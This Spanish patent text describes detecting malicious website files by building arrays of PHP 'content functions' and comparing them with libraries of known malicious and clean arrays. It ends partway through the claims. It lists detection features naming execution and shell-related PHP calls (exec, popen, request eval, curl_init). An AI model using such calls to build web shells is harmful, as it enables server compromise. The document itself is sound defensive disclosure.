Las operaciones, variables y funciones de archivo de sitio web, o funciones de contenido en general, pueden incluir una amplia gama de elementos. Ejemplos de tales elementos incluyen términos estándar de la industria, tales como los usados para la funcionalidad de PHP que se usa para generar páginas web y realizar diversas operaciones de sitio web. La siguiente lista es meramente representativa de funciones similares a contenido PHP que pueden detectarse. También pueden detectarse otras funciones de contenido.
a. keywords_curl_init
b. error_suppression_count
c. error_suppression_ratio
d. keywords_fopen
e. keywords_file_get_contents
f. keywords_exec
g. evaletc_request_eval
h. keywords_chmod
i. keywords_touch
j. keywords_popen
k. keywords_perishell
Una matriz ordenada que incluye una entrada para al menos una porción de las posibles funciones de contenido puede configurarse de modo que cada archivo de sitio web puede procesarse con lógica que detecta la presencia de al menos una aparición de las funciones de contenido. Para detectar las funciones de contenido en un archivo, puede configurarse una matriz de funciones de contenido para el archivo e inicializarse con una entrada de valor inicial (por ejemplo, cero o un nulo) en cada entrada. Cuando se detecta una ocurrencia de una función de contenido mientras se está procesando el archivo, la correspondiente entrada en la matriz puede cambiarse del valor inicial a otro valor, tal como un valor distinto de cero/nulo. Cuando el archivo se ha procesado para detectar todas las características posibles, la matriz correspondiente representa las funciones de contenido del archivo.
Determinar qué funciones de contenido detectar puede basarse en un análisis estadístico de funciones de contenido de archivos maliciosos frente a archivos que no son maliciosos. Cuando se procesa un archivo que se sabe que es malicioso, la matriz resultante es indicativa de un archivo malicioso. Se puede procesar un número de archivos maliciosos de esta manera y se puede preparar una biblioteca de matrices de indicación de archivo malicioso. En un ejemplo simplificado, comparando la matriz de funciones de contenido generada anteriormente para un archivo con cada una de las matrices en la biblioteca de matrices, el archivo puede considerarse que es malicioso si su matriz coincide con una matriz en la biblioteca que indica un archivo malicioso.
Aunque los ejemplos en el presente documento se refieren por lo general a un archivo como malicioso o no malicioso, las matrices de indicación de funciones también pueden usarse para soportar la determinación de una probabilidad de que un archivo sea malicioso. Una coincidencia exacta de firmas para dos archivos, uno de los que se ha determinado que es malicioso puede dar como resultado una mayor probabilidad de que el otro archivo sea malicioso; sin embargo, las matrices de indicación de funciones coincidentes pueden no ser una evidencia dispositiva de que el otro archivo es malicioso. Por lo tanto, puede asociarse una probabilidad de indicación de contenido malicioso con cada matriz de indicación de funciones única. A medida que se determina que el número de archivos de los que se deriva una matriz de indicación de funciones particular es malicioso, puede aumentar una probabilidad correspondiente de que nuevos archivos con la misma matriz de indicación de funciones. Análogamente, para matrices de indicación de funciones que se derivan de archivos que se determina que no son maliciosos, números crecientes de tales archivos indican que la matriz de indicación particular es indicativa de un archivo que no es malicioso.
En la medida en que es más probable que ciertas funciones de contenido se asocien con contenido malicioso, tal como usando el análisis estadístico descrito anteriormente para determinar qué funciones de contenido detectar, comparar una porción de la matriz de funciones de contenido generada con una porción correspondiente de las matrices en la biblioteca puede proporcionar una indicación suficiente de que el archivo a partir del que se ha generado la matriz de funciones de contenido es malicioso. Como un ejemplo, puede ser más probable que las funciones de contenido a-g indicadas anteriormente estén asociadas con contenido malicioso que las funciones de contenido h-k. Por lo tanto, si se detectan todas, sustancialmente todas o un número suficiente de funciones de contenido a-g en el archivo, entonces el archivo podría etiquetarse como malicioso. En la medida en que un objetivo de aplicar matrices de funciones de contenido es determinar archivos que tienen una mayor probabilidad de ser maliciosos, ciertas entradas en una matriz particular pueden pesar más que otras en la generación de esta probabilidad. Si, por ejemplo, se han encontrado funciones de contenido a, c, f y g, a través de análisis estadístico y similares de una pluralidad de matrices de funciones de contenido generadas anteriormente (por ejemplo, para otros archivos de origen) para asociarse, tal como en combinación, con archivos maliciosos, entonces simplemente detectar la presencia de estas cuatro funciones de contenido puede mejorar aún más la velocidad con la que un archivo puede evaluarse para contener contenido malicioso.
La matriz de funciones de contenido descrita en el presente documento puede ser una matriz binaria que facilita indicar si se detecta al menos una instancia de cada función de contenido en un archivo de sitio web dado. Análogamente, la matriz de funciones de contenido descrita en el presente documento puede ser una matriz que facilita no solo la detección de al menos una instancia de cada característica, sino que permite rastrear también el número de instancias de cada función en un archivo de sitio web. Mientras que una matriz binaria puede asignar un bit de datos por función, una variación de recuento de ocurrencias de la matriz de funciones de contenido puede asignar dos o más bits de datos por función. Sin embargo, una matriz que asigna más de un bit por función de contenido puede usarse en un modo de detección de instancia de modo que los valores de datos en cada entrada estén limitados a 0 (por ejemplo, no detectado) y 1 (por ejemplo, al menos una instancia detectada), incluso si se detecta más de una instancia.
Haciendo referencia a la Figura 6 que representa generar matrices de indicación de funciones de contenido, una instalación de procesamiento de archivos del sitio web 602 puede procesar archivos del sitio web 604, 608 con referencia a una lista de funciones detectables 610 para determinar si cada función detectable se encuentra en cada archivo de sitio web. La instalación de procesamiento 602 puede actualizar una matriz de indicación de funciones de contenido de archivo de sitio web que registra la presencia y/o ausencia de cada función de contenido detectable en el archivo de sitio web. En el ejemplo de la Figura 6, un primer archivo de sitio web 604 se procesa por la instalación de procesamiento de archivo de sitio web 602 para generar una matriz de funciones de contenido 612. Análogamente, el archivo de sitio web 608 se procesa por la instalación de procesamiento de sitio web 602 para crear la matriz de funciones de contenido 614. La instalación de procesamiento 602 puede configurarse como un filtro multiderivación a través del que se procesa el contenido de archivo de sitio web. Cada derivación del filtro puede representar un término en un lenguaje de control informático, tal como PHP. Todo el contenido del archivo de sitio web puede procesarse a través del filtro para determinar qué términos están presentes en el contenido. Cada derivación puede alimentar una ubicación/entrada en una matriz de funciones de contenido de modo que una coincidencia encontrada en el contenido con la función asociada con la derivación hace que se actualice la correspondiente ubicación/entrada de matriz (por ejemplo, cambiando de un valor inicial, tal como 0 a un valor actualizado, tal como 1). Pueden aplicarse otras técnicas de procesamiento, tales como procesar cada sitio web para cada función de contenido hasta que se detecta la función o el archivo se procesa completamente. Análogamente, pueden instanciarse un número de instalaciones de procesamiento 602 de modo que cada instancia comprueba una función de contenido diferente. Puede usarse cualquier enfoque de procesamiento que facilite rellenar la matriz de funciones de contenido para un archivo de sitio web.
Haciendo referencia a la Figura 7 que representa evaluar una matriz de funciones de contenido específico de archivo. Para determinar si un archivo dado es malicioso, la matriz de funciones de contenido resultante puede compararse con una lista de matrices de referencia que se clasifican como que indican archivos maliciosos, sospechosos o no maliciosos. Las matrices de funciones de contenido 612 y 614 pueden procesarse por una instalación de procesamiento de matrices 704 para determinar si la matriz indica contenido malicioso en su archivo de sitio web correspondiente. La instalación de procesamiento de matrices 704 puede hacer referencia a una biblioteca de matrices de funciones de contenido de indicación de archivo malicioso 702. En un ejemplo, cada matriz de funciones de contenido puede compararse con entradas en la biblioteca. Si se determina una coincidencia, el archivo de sitio web correspondiente se asocia con contenido malicioso, tal como marcándose como malicioso. En el ejemplo de la Figura 7, el archivo de sitio web 612 se marca como malicioso porque su matriz de funciones de contenido correspondiente coincide con una de las matrices de funciones de contenido clasificado malicioso en la biblioteca 702. Sin embargo, no se determina que el archivo de sitio web 614 sea malicioso porque, en este ejemplo, su matriz de funciones de contenido no coincide con ninguna en la biblioteca 702. Como se ha indicado anteriormente, la coincidencia o la falta de coincidencia puede no indicar de manera dispositiva que el archivo correspondiente es malicioso o no malicioso.
Como alternativa, la instalación de procesamiento de matrices de contenido puede contar el número de funciones de contenido coincidentes, tal como sumando las entradas en una versión binaria de la matriz de funciones de contenido. Puede establecerse un umbral de recuento de funciones de contenido. Las matrices con sumas mayores que o iguales a este umbral pueden considerarse como que indican que el archivo de sitio web correspondiente podría ser malicioso, tal como al etiquetarse como malicioso. La selección de criterios para determinar cuándo una matriz de funciones de contenido es indicativa de un archivo de origen malicioso puede basarse en un análisis estadístico de una población de matrices de funciones de contenido de archivos maliciosos e inofensivos.
Como alternativa, en lugar de usar recuentos de funciones de contenido coincidentes, se determina cuántos otros archivos también contienen las mismas funciones de contenido y qué porcentaje de contenido de sitio web que contiene tales funciones de contenido es bueno y malo. Por ejemplo, si "foo" y "bar" son funciones de contenido coincidentes y de los archivos del sitio web que contienen las dos cadenas, se determina que el 95 % es malicioso, se puede concluir que es probable que el contenido de sitio web con estas dos cadenas sea malo. A medida que se revisa contenido de sitio web adicional, es probable que el porcentaje continúe cambiando, de modo que el conjunto de cadenas ya no se puede considerar potencialmente malicioso.
El análisis estadístico descrito en el presente documento puede basarse en bosque aleatorio, bosque de arranque primario, árbol potenciado, modelo de ajuste y técnicas de modelado estadístico similares.
La confianza y precisión de las matrices en la biblioteca que indican adecuadamente si el archivo de origen correspondiente es malicioso o inofensivo puede aumentar accediendo a tal información desde otras fuentes. En un ejemplo, puede desplegarse una pluralidad de sistemas de generación y análisis de matriz de funciones de contenido a través de una red, tal como la Internet. Las matrices en un primer sistema que tienen una ocurrencia baja, pero están asociadas con archivos maliciosos pueden tener una ocurrencia alta en un segundo sistema. Al combinar los datos para matrices idénticas en los dos sistemas, se aumenta la confianza en el primer sistema de que un archivo que genera la matriz particular es malicioso. Análogamente, las ocurrencias bajas en dos sistemas pueden tener poco o ningún impacto sustantivo en la precisión o confianza.
Basándose en la comparación de una matriz de funciones de contenido recién generada con las matrices de funciones de contenido de referencia, el archivo a partir del que se produjo la matriz recién generada se procesa adicionalmente, en donde al menos una porción de este procesamiento adicional es diferente para cada una de estas clasificaciones (malicioso, sospechoso o no malicioso).
En la medida en que cada función de contenido indica una característica de un archivo de sitio web que puede usarse de una manera no maliciosa, las entradas en una biblioteca de matrices de funciones de contenido pueden cambiar la clasificación entre indicar archivos de origen maliciosos y no maliciosos. Análogamente, las matrices en una biblioteca de matrices de funciones de contenido pueden no estar clasificadas, pero pueden marcarse con una probabilidad estadística de clasificación. En un ejemplo, puede mantenerse una probabilidad de clasificación de una matriz en la biblioteca de matrices generando firmas para ficheros que se conocen como maliciosos o como no maliciosos y a continuación determinando la frecuencia de aparición de cada firma única. Una alta frecuencia de una firma de archivos maliciosos, incluso aunque esa misma firma aparezca para archivos no maliciosos puede ser indicativa de una alta probabilidad de que un archivo que produce la misma firma sea probablemente malicioso. De esta manera, la carga informática requerida para proporcionar un alto grado de protección de datos se reduce debido a que los archivos que generan una firma con una baja probabilidad de indicar contenido malicioso pueden evitar un procesamiento profundo para muchos de tales archivos.
Haciendo referencia a la Figura 8 que representa la actualización de una biblioteca de matrices de indicación de funciones de contenido, puede generarse una matriz 308 previamente desconocida a partir de un archivo de sitio web. Aunque esta nueva matriz 308 puede no coincidir con ninguna de las matrices en la biblioteca 702, la matriz puede procesarse a través de una instalación de procesamiento de análisis estadístico 804 que determina un grado de similitud tanto con las matrices clasificadas maliciosas en la biblioteca 702 como con las matrices que se han determinado para indicar que su archivo de origen correspondiente no es malicioso 802. Basándose en el resultado de este análisis, la nueva matriz puede designarse como probable que indique contenido malicioso si el grado de similitud supera un umbral de similitud malicioso. De manera similar, si el resultado del análisis indica que la nueva matriz tiene un grado de similitud con matrices de indicación no maliciosas que excede un umbral de similitud no maliciosa, el archivo de sitio web correspondiente puede designarse como no malicioso. Para cualquiera de estos resultados, la nueva matriz puede añadirse a la biblioteca como indicación de un archivo que es malicioso 702 o como indicación de uno que no es malicioso 802.
Cuando el número de matrices que no pueden clasificarse o exceder un criterio de probabilidad como indicativo de archivos de origen maliciosos o no maliciosos alcanza un umbral de demanda de clasificación, puede emplearse un proceso humano para redistribuir al menos una porción de las matrices no clasificadas. Un umbral de demanda de este tipo puede basarse en un recuento de matrices específicas o un recuento total de matrices no clasificadas, o similares.
Los métodos y sistemas descritos en el presente documento pueden implementarse en parte o en su totalidad a través de una máquina que tiene un ordenador, dispositivo informático, procesador, circuito y/o servidor que ejecuta instrucciones legibles por ordenador, códigos de programa, instrucciones y/o incluye hardware configurado para ejecutar funcionalmente una o más operaciones de los métodos y sistemas divulgados en el presente documento. Los términos ordenador, dispositivo informático, procesador, circuito y/o servidor, como se utilizan en el presente documento, deben entenderse en un sentido amplio.
Uno cualquiera o más de los términos ordenador, dispositivo informático, procesador, circuito y/o servidor incluyen un ordenador de cualquier tipo, capaz de acceder a instrucciones almacenadas en comunicación con el mismo, tal como en un medio legible por ordenador no transitorio, con el que el ordenador realiza operaciones de sistemas o métodos descritos en el presente documento al ejecutar las instrucciones. En ciertas realizaciones, tales instrucciones comprenden por sí mismas un ordenador, dispositivo informático, procesador, circuito y/o servidor. Adicionalmente o como alternativa, un ordenador, dispositivo informático, procesador, circuito y/o servidor puede ser un dispositivo de hardware separado, uno o más recursos informáticos distribuidos a través de dispositivos de hardware, y/o puede incluir aspectos tales como circuitos lógicos, circuitos integrados, sensores, accionadores, dispositivos de entrada y/o salida, recursos de red y/o comunicación, recursos de memoria de cualquier tipo, recursos de procesamiento de cualquier tipo y/o dispositivos de hardware configurados para responder a condiciones determinadas para ejecutar funcionalmente una o más operaciones de sistemas y métodos en el presente documento.
Los recursos de red y/o comunicación incluyen, sin limitación, red de área local, red de área extensa, inalámbrica, internet o cualquier otro recurso y protocolo de comunicación conocido. Hardware, ordenadores, dispositivos informáticos, procesadores, circuitos y/o servidores de ejemplo y no limitantes incluyen, sin limitación, un ordenador de propósito general, un servidor, un ordenador integrado, un dispositivo móvil, una máquina virtual y/o una versión emulada de uno o más de estos. Hardware, ordenadores, dispositivos informáticos, procesadores, circuitos y/o servidores de ejemplo y no limitantes pueden ser físicos, lógicos o virtuales. Un ordenador, dispositivo informático, procesador, circuito y/o servidor puede ser: un recurso distribuido incluido como un aspecto de varios dispositivos; y/o incluidos como un conjunto interoperable de recursos para realizar las funciones descritas del ordenador, dispositivo informático, procesador, circuito y/o servidor, de modo que los recursos distribuidos funcionan juntos para realizar las operaciones del ordenador, dispositivo informático, procesador, circuito y/o servidor. En ciertas realizaciones, cada ordenador, dispositivo informático, procesador, circuito y/o servidor pueden estar en hardware separado, y/o uno o más dispositivos de hardware pueden incluir aspectos de más de un ordenador, dispositivo informático, procesador, circuito y/o servidor, por ejemplo, como instrucciones ejecutables por separado almacenadas en el dispositivo de hardware, y/o como aspectos lógicamente divididos de un conjunto de instrucciones ejecutables, comprendiendo algunos aspectos del dispositivo de hardware una parte de un primer ordenador, dispositivo informático, procesador, circuito y/o servidor, y algunos aspectos del dispositivo de hardware que comprenden una parte de un segundo ordenador, dispositivo informático, procesador, circuito y/o servidor.
Un ordenador, dispositivo informático, procesador, circuito y/o servidor puede ser parte de un servidor, cliente, infraestructura de red, plataforma informática móvil, plataforma informática estacionaria u otra plataforma informática. Un procesador puede ser cualquier tipo de dispositivo computacional o de procesamiento capaz de ejecutar instrucciones de programa, códigos, instrucciones binarias y similares. El procesador puede ser o incluir un procesador de señal, procesador digital, procesador integrado, microprocesador o cualquier variante tal como un coprocesador (coprocesador matemático, coprocesador gráfico, coprocesador de comunicación y similares) y similares que pueden facilitar directa o indirectamente la ejecución del código de programa o las instrucciones de programa almacenadas en el mismo. Además, el procesador puede posibilitar la ejecución de múltiples programas, subprocesos y códigos. Los subprocesos pueden ejecutarse simultáneamente para mejorar el rendimiento del procesador y para facilitar operaciones simultáneas de la aplicación. A modo de implementación, los métodos, códigos de programa, instrucciones de programa y similares descritos en el presente documento pueden implementarse en uno o más subprocesos. El subproceso puede generar otros subprocesos que pueden tener prioridades asignadas asociadas con los mismos; el procesador puede ejecutar estos subprocesos basándose en prioridad o cualquier otro orden basándose en instrucciones proporcionadas en el código de programa. El procesador puede incluir memoria que almacena métodos, códigos, instrucciones y programas como se describe en el presente documento y en otros lugares. El procesador puede acceder a un medio de almacenamiento a través de una interfaz que puede almacenar métodos, códigos e instrucciones como se describe en el presente documento y en otros lugares. El medio de almacenamiento asociado con el procesador para almacenar métodos, programas, códigos, instrucciones de programa u otro tipo de instrucciones que pueden ejecutarse por el dispositivo informático o de procesamiento puede incluir, pero no limitarse a, uno o más de un CD-ROM, DVD, memoria, disco duro, unidad flash, RAM, ROM, caché y similares.
Un procesador puede incluir uno o más núcleos que pueden mejorar la velocidad y el rendimiento de un multiprocesador. En las realizaciones, el proceso puede ser un procesador de doble núcleo, procesadores de cuatro núcleos, otro multiprocesador a nivel de chip y similares que combinan dos o más núcleos independientes (llamados una matriz).
Los métodos y sistemas descritos en el presente documento pueden desplegarse en parte o en su totalidad a través de una máquina que ejecuta instrucciones legibles por ordenador en un servidor, cliente, cortafuegos, pasarela, concentrador, enrutador u otro hardware informático y/o de red de este tipo. Las instrucciones legibles por ordenador pueden asociarse con un servidor que puede incluir un servidor de archivos, servidor de impresión, servidor de dominio, servidor de internet, servidor de intranet y otras variantes tales como servidor secundario, servidor de anfitrión, servidor distribuido y similares. El servidor puede incluir una o más de memorias, procesadores, medios transitorios y/o no transitorios legibles por ordenador, medios de almacenamiento, puertos (físicos y virtuales), dispositivos de comunicación e interfaces capaces de acceder a otros servidores, clientes, máquinas y dispositivos a través de un medio alámbrico o inalámbrico, y similares. Los métodos, programas o códigos como se describen en el presente documento y en otros lugares pueden ser ejecutados por el servidor. Además, otros dispositivos requeridos para la ejecución de métodos como se describe en esta solicitud pueden considerarse como una parte de la infraestructura asociada con el servidor.
El servidor puede proporcionar una interfaz a otros dispositivos que incluyen, sin limitación, clientes, otros servidores, impresoras, servidores de base de datos, servidores de impresión, servidores de archivos, servidores de comunicación, servidores distribuidos y similares. Adicionalmente, este acoplamiento y/o conexión puede facilitar la ejecución remota de instrucciones a través de la red. La interconexión en red de algunos o todos estos dispositivos puede facilitar el procesamiento paralelo de código de programa, instrucciones y/o programas en una o más ubicaciones sin desviarse del alcance de la divulgación. Además, todos los dispositivos conectados al servidor a través de una interfaz pueden incluir al menos un medio de almacenamiento capaz de almacenar métodos, código de programa, instrucciones y/o programas. Un repositorio central puede proporcionar instrucciones de programa para ejecutarse en diferentes dispositivos. En esta implementación, el repositorio remoto puede actuar como un medio de almacenamiento para métodos, código de programa, instrucciones y/o programas.
Los métodos, código de programa, instrucciones y/o programas pueden asociarse con un cliente que puede incluir un cliente de archivo, cliente de impresión, cliente de dominio, cliente de Internet, cliente de intranet y otras variantes tales como cliente secundario, cliente de anfitrión, cliente distribuido y similares. El cliente puede incluir una o más de memorias, procesadores, medios transitorios y/o no transitorios legibles por ordenador, medios de almacenamiento, puertos (físicos y virtuales), dispositivos de comunicación e interfaces capaces de acceder a otros clientes, servidores, máquinas y dispositivos a través de un medio alámbrico o inalámbrico, y similares. Los métodos, código de programa, instrucciones y/o programas como se describe en el presente documento y en cualquier otro lugar pueden ser ejecutados por el cliente. Además, otros dispositivos utilizados para la ejecución de métodos como se describe en esta solicitud pueden considerarse como una parte de la infraestructura asociada con el cliente.
El cliente puede proporcionar una interfaz a otros dispositivos que incluyen, sin limitación, servidores, otros clientes, impresoras, servidores de base de datos, servidores de impresión, servidores de archivos, servidores de comunicación, servidores distribuidos y similares. Adicionalmente, este acoplamiento y/o conexión puede facilitar la ejecución remota de métodos, código de programa, instrucciones y/o programas a través de la red. La interconexión en red de algunos o todos estos dispositivos puede facilitar el procesamiento paralelo de métodos, código de programa, instrucciones y/o programas en una o más ubicaciones sin desviarse del alcance de la divulgación. Además, todos los dispositivos conectados al cliente a través de una interfaz pueden incluir al menos un medio de almacenamiento capaz de almacenar métodos, código de programa, instrucciones y/o programas. Un repositorio central puede proporcionar instrucciones de programa para ejecutarse en diferentes dispositivos. En esta implementación, el repositorio remoto puede actuar como un medio de almacenamiento para métodos, código de programa, instrucciones y/o programas.
Los métodos y sistemas descritos en el presente documento pueden desplegarse en parte o en su totalidad a través de infraestructuras de red. La infraestructura de red puede incluir elementos tales como dispositivos informáticos, servidores, enrutadores, concentradores, cortafuegos, clientes, ordenadores personales, dispositivos de comunicación, dispositivos de enrutamiento y otros dispositivos, módulos y/o componentes activos y pasivos como se conoce en la técnica. El dispositivo o dispositivos informáticos y/o no informáticos asociados con la infraestructura de red pueden incluir, además de otros componentes, un medio de almacenamiento tal como memoria flash, memoria intermedia, pila, RAM, ROM y similares. Los métodos, código de programa, instrucciones y/o programas descritos en el presente documento y en otros lugares pueden ejecutarse por uno o más de los elementos de infraestructura de red.
Los métodos, código de programa, instrucciones y/o programas descritos en el presente documento y en otros lugares pueden implementarse en una red celular que tiene múltiples células. La red celular puede ser una red de acceso múltiple por división de frecuencia (FDMA) o una red de acceso múltiple por división de código (CDMA). La red celular puede incluir dispositivos móviles, sitios celulares, estaciones base, repetidores, antenas, torres y similares.
Los métodos, código de programa, instrucciones y/o programas descritos en el presente documento y en otros lugares pueden implementarse en o a través de dispositivos móviles. Los dispositivos móviles pueden incluir dispositivos de navegación, teléfonos celulares, teléfonos móviles, asistentes digitales personales móviles, ordenadores portátiles, ordenadores de mano, netbooks, buscapersonas, lectores de libros electrónicos, reproductores de música y similares. Estos dispositivos móviles pueden incluir, además de otros componentes, un medio de almacenamiento tal como una memoria flash, memoria intermedia, RAM, ROM y uno o más dispositivos informáticos. Los dispositivos informáticos asociados con dispositivos móviles pueden habilitarse para ejecutar métodos, código de programa, instrucciones y/o programas almacenados en los mismos. Como alternativa, los dispositivos móviles pueden configurarse para ejecutar instrucciones en colaboración con otros dispositivos. Los dispositivos móviles pueden comunicarse con estaciones base interconectadas con servidores y configuradas para ejecutar métodos, código de programa, instrucciones y/o programas. Los dispositivos móviles pueden comunicarse en una red de igual a igual, red de malla u otra red de comunicaciones. Los métodos, código de programa, instrucciones y/o programas pueden almacenarse en el medio de almacenamiento asociado con el servidor y ejecutarse por un dispositivo informático embebido dentro del servidor. La estación base puede incluir un dispositivo informático y un medio de almacenamiento. El dispositivo de almacenamiento puede almacenar métodos, código de programa, instrucciones y/o programas ejecutados por los dispositivos informáticos asociados con la estación base.
Los métodos, código de programa, instrucciones y/o programas pueden almacenarse y/o accederse en medios transitorios y/o no transitorios legibles por máquina que pueden incluir: componentes informáticos, dispositivos y medios de grabación que retienen datos digitales utilizados para el cómputo de algún intervalo de tiempo; almacenamiento de semiconductores conocido como memoria de acceso aleatorio (RAM); almacenamiento masivo normalmente para un almacenamiento más permanente, tal como discos ópticos, formas de almacenamiento magnético como discos duros, cintas, tambores, tarjetas y otros tipos; registros de procesador, memoria caché, memoria volátil, memoria no volátil; almacenamiento óptico tal como Cd , DVD; medios extraíbles tales como memoria flash (por ejemplo, memorias o llaves USB), disquetes, cinta magnética, cinta de papel, tarjetas perforadas, discos RAM independientes, unidades Zip, almacenamiento masivo extraíble, fuera de línea y similares; otra memoria informática tal como memoria dinámica, memoria estática, almacenamiento de lectura/escritura, almacenamiento mutable, solo lectura, acceso aleatorio, acceso secuencial, ubicación direccionable, archivo direccionable, contenido direccionable, almacenamiento conectado a la red, red de área de almacenamiento, códigos de barras, tinta magnética y similares.
Ciertas operaciones descritas en el presente documento incluyen interpretar, recibir y/o determinar uno o más valores, parámetros, entradas, datos u otra información. Las operaciones que incluyen interpretar, recibir y/o determinar cualquier parámetro de valor, entrada, datos y/u otra información incluyen, sin limitación: recibir datos a través de una entrada de usuario; recibir datos a través de una red de cualquier tipo; leer un valor de datos desde una ubicación de memoria en comunicación con el dispositivo de recepción; utilizar un valor por defecto como un valor de datos recibido; estimar, calcular o derivar un valor de datos basándose en otra información disponible para el dispositivo de recepción; y/o actualizar cualquiera de estos en respuesta a un valor de datos recibido posterior. En ciertas realizaciones, un valor de datos puede recibirse por una primera operación, y posteriormente actualizarse por una segunda operación, como parte de la recepción de un valor de datos. Por ejemplo, cuando las comunicaciones están inactivas, intermitentes o interrumpidas, se puede realizar una primera operación para interpretar, recibir y/o determinar un valor de datos, y cuando se restauran las comunicaciones, se puede realizar una operación actualizada para interpretar, recibir y/o determinar el valor de datos.
Ciertas agrupaciones lógicas de operaciones en el presente documento, por ejemplo, métodos o procedimientos de la presente divulgación, se proporcionan para ilustrar aspectos de la presente divulgación. Las operaciones descritas en el presente documento se describen y/o representan esquemáticamente, y las operaciones pueden combinarse, dividirse, reordenarse, añadirse o eliminarse de una manera consistente con la divulgación en el presente documento. Se entiende que el contexto de una descripción operativa puede requerir un orden para una o más operaciones, y/o puede divulgarse explícitamente un orden para una o más operaciones, pero el orden de las operaciones debe entenderse ampliamente, donde cualquier agrupación equivalente de operaciones para proporcionar un resultado equivalente de las operaciones se contempla específicamente en el presente documento. Por ejemplo, si se usa un valor en una etapa operativa, la determinación del valor puede requerirse antes de esa etapa operativa en ciertos contextos (por ejemplo, donde el retardo de tiempo de los datos para que una operación logre un cierto efecto es importante), pero puede no se requerirá antes de esa etapa de operación en otros contextos (por ejemplo, donde el uso del valor de un ciclo de ejecución anterior de las operaciones sería suficiente para esos fines). Por consiguiente, en ciertas realizaciones se contempla explícitamente en el presente documento un orden de operaciones y agrupación de operaciones como se describe, y en ciertas realizaciones se contempla explícitamente reordenación, subdivisión y/o diferente agrupación de operaciones en el presente documento.
Los métodos y sistemas descritos en el presente documento pueden transformar elementos físicos y/o intangibles de un estado a otro. Los métodos y sistemas descritos en el presente documento también pueden transformar datos que representan elementos físicos y/o intangibles de un estado a otro.
Los elementos descritos y representados en el presente documento, incluyendo en diagramas de flujo, diagramas de bloques y/o descripciones operativas, representan y/o describen disposiciones de ejemplo específicas de elementos para fines de ilustración. Sin embargo, los elementos representados y/o descritos, las funciones de los mismos y/o disposiciones de estos, pueden implementarse en máquinas, tal como a través de medios transitorios y/o no transitorios ejecutables por ordenador que tienen un procesador capaz de ejecutar instrucciones de programa almacenadas en los mismos y/o como circuitos lógicos o disposiciones de hardware. Ejemplos de disposiciones de instrucciones de programación incluyen al menos: estructura monolítica de instrucciones; módulos independientes de instrucciones para elementos o porciones de los mismos; y/o como módulos de instrucciones que emplean rutinas externas, código, servicios, y así sucesivamente; y/o cualquier combinación de estos, y todas estas implementaciones se contemplan para estar dentro del alcance de las realizaciones de la presente divulgación. Ejemplos de tales máquinas incluyen, sin limitación, asistentes digitales personales, ordenadores portátiles, ordenadores personales, teléfonos móviles, otros dispositivos informáticos de mano, equipos médicos, dispositivos de comunicación alámbricos o inalámbricos, transductores, chips, calculadoras, satélites, tabletas, libros electrónicos, aparatos, dispositivos electrónicos, dispositivos que tienen inteligencia artificial, dispositivos informáticos, equipos de red, servidores, enrutadores y similares. Adicionalmente, los elementos descritos y/o representados en el presente documento, y/o cualesquiera otros componentes lógicos, pueden implementarse en una máquina capaz de ejecutar instrucciones de programa. Por lo tanto, mientras que los diagramas de flujo, diagramas de bloques y/o descripciones operativas anteriores exponen aspectos funcionales de los sistemas divulgados, se contempla en el presente documento cualquier disposición de instrucciones de programa que implementan estos aspectos funcionales. De manera similar, se apreciará que las diversas etapas identificadas y descritas anteriormente pueden variarse, y que el orden de las etapas puede adaptarse a aplicaciones particulares de las técnicas divulgadas en el presente documento. Adicionalmente, cualquier etapa u operación puede dividirse y/o combinarse de cualquier manera proporcionando una funcionalidad similar a las operaciones descritas. Todas tales variaciones y modificaciones se contemplan en la presente divulgación. Los métodos y/o procesos descritos anteriormente, y las etapas de los mismos, pueden implementarse en hardware, código de programa, instrucciones y/o programas o cualquier combinación de hardware y métodos, código de programa, instrucciones y/o programas adecuados para una aplicación particular. El hardware de ejemplo incluye un dispositivo informático especializado o un dispositivo informático específico, un aspecto o componente particular de un dispositivo informático específico y/o una disposición de componentes de hardware y/o circuitos lógicos para realizar una o más de las operaciones de un método y/o sistema. Los procesos pueden implementarse en uno o más microprocesadores, microcontroladores, microcontroladores integrados, procesadores de señales digitales programables u otro dispositivo programable, junto con memoria interna y/o externa. Los procesos pueden también, o en su lugar, incorporarse en un circuito integrado específico de la aplicación, una matriz de puertas programables, lógica de matriz programable o cualquier otro dispositivo o combinación de dispositivos que pueden configurarse para procesar señales electrónicas. Se apreciará adicionalmente que uno o más de los procesos pueden realizarse como un código ejecutable por ordenador capaz de ejecutarse en un medio legible por máquina.
El código ejecutable por ordenador puede crearse usando un lenguaje de programación estructurado tal como C, un lenguaje de programación orientado a objetos tal como C++, o cualquier otro lenguaje de programación de alto o bajo nivel (incluyendo lenguajes ensambladores, lenguajes de descripción de hardware y lenguajes de programación de bases de datos y tecnologías) que pueden almacenarse, compilarse o interpretarse para ejecutarse en uno de los dispositivos anteriores, así como combinaciones heterogéneas de procesadores, arquitecturas de procesador o combinaciones de diferentes hardware e instrucciones legibles por ordenador, o cualquier otra máquina capaz de ejecutar instrucciones de programa.
Por lo tanto, en un aspecto, cada método descrito anteriormente y combinaciones de los mismos pueden incorporarse en código ejecutable por ordenador que, cuando se ejecuta en uno o más dispositivos informáticos, realiza las etapas del mismo. En otro aspecto, los métodos pueden realizarse en sistemas que realizan las etapas de los mismos, y pueden distribuirse a través de dispositivos en un número de formas, o toda la funcionalidad puede integrarse en un dispositivo dedicado, independiente u otro hardware. En otro aspecto, los medios para realizar las etapas asociadas con los procesos descritos anteriormente pueden incluir cualquiera de las instrucciones legibles por hardware y/o por ordenador descritas anteriormente. Todas tales permutaciones y combinaciones se contemplan en realizaciones de la presente divulgación.

Claims (12)

REIVINDICACIONES
1. Un método de seguridad de datos, que comprende:
acceder, por un primer conjunto de servidores, a datos de atributos de archivo de contenido de sitio web para archivos de sitio web usados por uno de un segundo conjunto de servidores para alojar contenido de sitio web; determinar un estado de cambio de los archivos de sitio web comparando un valor de atributo de fecha de cambio de archivo con un valor de atributo analizado más recientemente para los archivos de sitio web que es accesible en una memoria accesible por ordenador no transitoria por al menos uno del primer conjunto de servidores; basándose en la determinación, descargar archivos de sitio web desde al menos uno del segundo conjunto de servidores en la memoria no transitoria que no se han analizado desde que fueron cambiados;
analizar los archivos de sitio web descargados en busca de un riesgo de seguridad realizando técnicas de integridad de archivos en los archivos de sitio web descargados para identificar firmas sospechosas o conocidas contenidas en los archivos de sitio web descargados;
basándose en el análisis, decodificar, con un servidor del primer conjunto de servidores, el código de secuencias de comandos que se detecta dentro de los archivos de sitio web descargados al:
analizar el código de secuencias de comandos para separar el código de secuencias de comandos en una pluralidad de componentes para determinar una función que se pretende que realice el código de secuencias de comandos examinando variables y comandos del código de secuencias de comandos;
